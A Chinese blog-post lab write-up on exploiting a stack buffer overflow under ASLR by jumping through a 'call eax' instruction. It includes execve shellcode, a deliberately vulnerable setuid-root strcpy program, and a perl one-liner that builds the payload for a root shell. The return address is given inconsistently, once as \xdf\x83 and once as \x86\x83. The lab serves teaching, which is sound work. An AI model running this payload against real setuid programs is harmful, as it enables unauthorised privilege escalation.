当前位置: 首页 > news >正文

缓冲区溢出漏洞(2)

通过"call eax"绕过ASLR

实验原理

前一个缓冲区溢出漏洞实验shellcode的地址采用的静态地址,但是现在的Ubuntu和其他一些Linux系统中,使用地址空间随机化(ASLR)来随机堆(heap)和栈(stack)的初始地址,采用静态地址攻击显得有很大的不足。一种经典的绕过ASLR的方法就是通过程序自身存在的"jmp 寄存器"指令,动态跳转到shellcode,即使程序每次加载的地址不一样,但程序指令间的相对运行不会变。本实验是通过程序本身存在的“call eax”(类似jmp eax)指令跳转到shellcode。

实验环境:

实验楼环境(Ubuntu linux 64位)

实验步骤

1.配置环境

本次实验是在32位环境中完成的,而实验楼ubuntu是64位,所以先下载安装32位的库。

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev

通过linux32命令进入32位linux环境。
1249712-20180118164459521-2122631636.png
打开ASLR:
1249712-20180118164546474-1514148012.png

2.shellcode

在前一次实验已经描述过什么是shellcode和它的作用。下面直接贴出shellcode的C版本代码:

#include <stdio.h> 
int main(int argc, char **argv) { 
    char *name[2]; 
    name[0] = "/bin/bash"; 
    name[1] = NULL; 
    execve(name[0], name, NULL); 
    return 0; 
}

shellcode怎么来的: shellcode是将上面C程序对应的汇编代码通过objdump获取其二进制代码得到的。
汇编版本:

xor %edx,%edx;\
push %edx;\
push $0x68732f2f;\
push $0x6e69622f;\
mov %esp,%ebx;\
push %edx;\
push %ebx;\
mov %esp,%ecx;\
xor %eax,%eax;\
movb $0x0b,%al;int $0x80;\

二进制代码:

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

3.漏洞程序

/*
    badpro.c
*/
#include <stdio.h>    
#include <string.h>    
void badfunc(char *input) {    
    char buffer[512];    
    strcpy(buffer, input);    
}    
int main(int argc, char **argv) {    
    badfunc(argv[1]);    
    return 0;    
}

上面程序完成的功能是:将main函数的第一个参数(字符串)复制到buffer中。
用下面的命令进行编译链接生成可执行的badpro:

gcc -Wall -g -o badpro badpro.c -z execstack -m32 -fno-stack-protector

给该程序加上root权限,这样攻击成功后就会获得其root权限:

sudo chown root:root badpro
sudo chmod a+s badpro

4.漏洞利用

通过objdump -d badpro | grep *%eax命令查找程序中是否存在call eax或者jmp eax这样的指令。其中“*%eax”是在寄存器前面加星号,代表这是一个绝对调用或者跳转,也就是该命令是对一个绝对地址进行操作,也正是由于这样指令的存在,才使得这种攻击成为可能。
1249712-20180118165930084-1605636602.png
选择0x08048386这个地址,作为跳板,得到最终的exploit的内容:ShellCode(N) + A(524-N) + \xdf\x83\x04\x08,这里事先生成的shellcode为25字节,因此填充了499个A。
执行如下命令:

./badpro $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x86\x83\x04\x08"')
/*
    perl -e 是perl在命令行中执行的命令;printf是将后面紧跟的字符串写入标准输出流;“A”x499是产生499个A。
*/

1249712-20180118172444068-391824480.png
从上图可以看出,我们已经获得了root权限。成功!

转载于:https://www.cnblogs.com/genius-sen/p/8311508.html

相关文章:

  • Visual Studio VS如何重置所有设置
  • Twirp:一个很酷的基于Go的新RPC框架
  • Nginx+Tomcat搭建高性能负载均衡集群
  • 我的第一篇博客
  • 我讲个事情哈,编程其实是文科
  • 基于Docker和Debian打造个人专属操作系统
  • thinkphp在前端页面的js代码中可以使用 U方法吗? 可以使用模板变量如__URL__等吗?...
  • 编写符合Python风格的对象
  • 二叉树基础之序列化和反序列化二叉树
  • 数组作业
  • Linux进程管理
  • Spring系列之-Aware系列接口
  • 如何正确配置 Ubuntu 14.04 服务器?
  • JDK 6和JDK 7中的substring()方法
  • 使用事件和消息队列实现分布式事务(转+补充)
  • (十五)java多线程之并发集合ArrayBlockingQueue
  • 《剑指offer》分解让复杂问题更简单
  • 07.Android之多媒体问题
  • express.js的介绍及使用
  • express如何解决request entity too large问题
  • javascript从右向左截取指定位数字符的3种方法
  • java中具有继承关系的类及其对象初始化顺序
  • Phpstorm怎样批量删除空行?
  • 服务器从安装到部署全过程(二)
  • 服务器之间,相同帐号,实现免密钥登录
  • 关于使用markdown的方法(引自CSDN教程)
  • 函数式编程与面向对象编程[4]:Scala的类型关联Type Alias
  • 力扣(LeetCode)56
  • 爬虫模拟登陆 SegmentFault
  • 这几个编码小技巧将令你 PHP 代码更加简洁
  • 看到一个关于网页设计的文章分享过来!大家看看!
  • 好程序员大数据教程Hadoop全分布安装(非HA)
  • ​LeetCode解法汇总1410. HTML 实体解析器
  • # 手柄编程_北通阿修罗3动手评:一款兼具功能、操控性的电竞手柄
  • # 睡眠3秒_床上这样睡觉的人,睡眠质量多半不好
  • #162 (Div. 2)
  • #中国IT界的第一本漂流日记 传递IT正能量# 【分享得“IT漂友”勋章】
  • (27)4.8 习题课
  • (C语言)fread与fwrite详解
  • (DFS + 剪枝)【洛谷P1731】 [NOI1999] 生日蛋糕
  • (Matalb时序预测)WOA-BP鲸鱼算法优化BP神经网络的多维时序回归预测
  • (pojstep1.1.2)2654(直叙式模拟)
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (分享)自己整理的一些简单awk实用语句
  • (一)kafka实战——kafka源码编译启动
  • (转)用.Net的File控件上传文件的解决方案
  • (状压dp)uva 10817 Headmaster's Headache
  • .[hudsonL@cock.li].mkp勒索病毒数据怎么处理|数据解密恢复
  • .net Stream篇(六)
  • .net 前台table如何加一列下拉框_如何用Word编辑参考文献
  • .NET6 命令行启动及发布单个Exe文件
  • .net经典笔试题
  • /var/log/cvslog 太大
  • @EnableConfigurationProperties注解使用
  • @Query中countQuery的介绍